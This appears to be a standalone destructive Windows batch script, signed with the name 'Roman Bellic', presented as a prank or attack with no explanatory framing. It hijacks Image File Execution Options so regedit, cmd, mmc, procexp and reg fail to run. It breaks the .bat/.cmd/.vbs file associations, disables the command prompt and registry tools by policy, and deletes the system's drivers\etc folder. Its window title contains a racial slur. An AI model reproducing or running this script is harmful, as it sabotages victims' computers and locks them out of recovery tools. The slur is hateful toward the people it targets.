Roman Bellic

@echo off
title Get fucked niggers!!!
color 0a
assoc.bat=txtfile
assoc.cmd=txtfile
assoc.vbs=txtfile
cls
REG add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe" /t REG_SZ /d "C:\Windows\system32\takeown.exe" /v "Debugger"
REG add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /t REG_SZ /d "C:\Windows\system32\takeown.exe" /v "Debugger"
REG add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt32.exe" /t REG_SZ /d "C:\Windows\system32\takeown.exe" /v "Debugger"
REG add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\procexp.exe" /t REG_SZ /d "C:\Windows\system32\takeown.exe" /v "Debugger"
REG add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedt33.exe" /t REG_SZ /d "C:\Windows\system32\takeown.exe" /v "Debugger"
REG add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe" /t REG_SZ /d "C:\Windows\system32\takeown.exe" /v "Debugger"
REG add "HKCU\Software\Microsoft\Windows Script Host\Settings\Enabled"
REG add "HKLM\Software\Microsoft\Windows Script Host\Settings\Enabled"
copy C:\windows\system32\reg.exe C:\windows\system32\reg2.exe
C:\windows\system32\reg2.exe add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe" /t REG_SZ /d "C:\Windows\system32\takeown.exe" /v "Debugger"
C:\windows\system32\reg2.exe add HKCU\Software\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
C:\windows\system32\reg2.exe add HKLM\Software\Software\Policies\Microsoft\Windows\System /v DisableCMD /t REG_DWORD /d 1 /f
C:\windows\system32\reg2.exe add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
C:\windows\system32\reg2.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
del C:\windows\system32\reg2.exe
cls
del C:\windows\system32\drivers\etc /s /q /f
cls
echo "Fucking Terrorists!" - Roman Bellic
ping localhost >nul
exit